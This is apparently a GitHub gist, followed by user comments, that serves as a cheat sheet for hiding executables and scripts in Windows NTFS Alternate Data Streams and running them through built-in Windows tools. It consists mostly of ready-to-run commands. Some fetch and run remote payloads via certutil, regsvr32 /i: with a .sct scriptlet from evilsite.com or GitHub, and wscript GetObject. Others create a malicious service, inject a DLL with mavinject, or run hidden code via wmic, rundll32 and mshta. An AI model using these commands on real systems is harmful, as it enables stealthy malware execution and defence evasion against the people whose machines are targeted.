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Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe

reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg

regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey

expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat

esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o

powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"

curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat

"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe" -DownloadFile -url https://www.7-zip.org/a/7z1900.exe -path c:\\temp\\1.txt:7-zip.exe

msxsl.exe "https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml" "https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl" -o <filename>

Extract content from ADS

expand c:\ads\file.txt:test.exe c:\temp\evil.exe

esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o

PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder

Executing from ADS

WMIC

wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'

Rundll32

rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain

rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll

rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll

Cscript

cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"

Wscript

wscript c:\ads\file.txt:script.vbs

echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js

Forfiles

forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"

Mavinject.exe

c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe                   4172 31C5CE94259D4006           2     18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"

MSHTA

mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta" (Does not work on Windows 10 1903 and newer)

Control.exe

control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll https://twitter.com/bohops/status/954466315913310209

Service

sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

Powershell.exe

powershell -ep bypass - < c:\temp:ttt

powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"

Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}

Regedit.exe

regedit c:\ads\file.txt:regfile.reg

Bitsadmin.exe

bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile

AppVLP.exe

AppVLP.exe c:\windows\tracing\test.txt:ha.exe

Cmd.exe

cmd.exe - < fakefile.doc:reg32.bat https://twitter.com/yeyint_mth/status/1143824979139579904

Ftp.exe

ftp -s:fakefile.txt:aaaa.txt https://github.com/sailay1996/misc-bin/blob/master/ads.md

ieframe.dll , shdocvw.dll (ads)

echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt

https://github.com/sailay1996/misc-bin/blob/master/ads.md

bash.exe

echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)

https://github.com/sailay1996/misc-bin/blob/master/ads.md

Regsvr32

type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS

Write registry

regini.exe file.txt:hidden.ini From @elisalem9

@D4Vinci
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D4Vinci commented Apr 12, 2018

Great work man ,this helps a lot 😄

@api0cradle
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Thanks. Good to hear.

@api0cradle
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Hi. This is not persistence mechanisms. This is only ways of hiding programs withing ADS and ways of executing it. How to place your persistence is up to you. For instance a RUN key in registry could launch the WMIC command that execute data from an Alternate Data stream.

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webs3c commented Apr 27, 2018

"powershell Start-Process -FilePath xx.exe" can execute the file too~

@jmaravi
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jmaravi commented Jun 17, 2018

Will AV detect the malicious payload?

@curi0usJack
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@jmaravi - yes.

@zappermax
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What about if you needed to delete an ADS? Not just empty it.

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@adamick098
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good job my brother and Allah Almighty will help you

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MikronT commented Feb 15, 2022

That's incredible man

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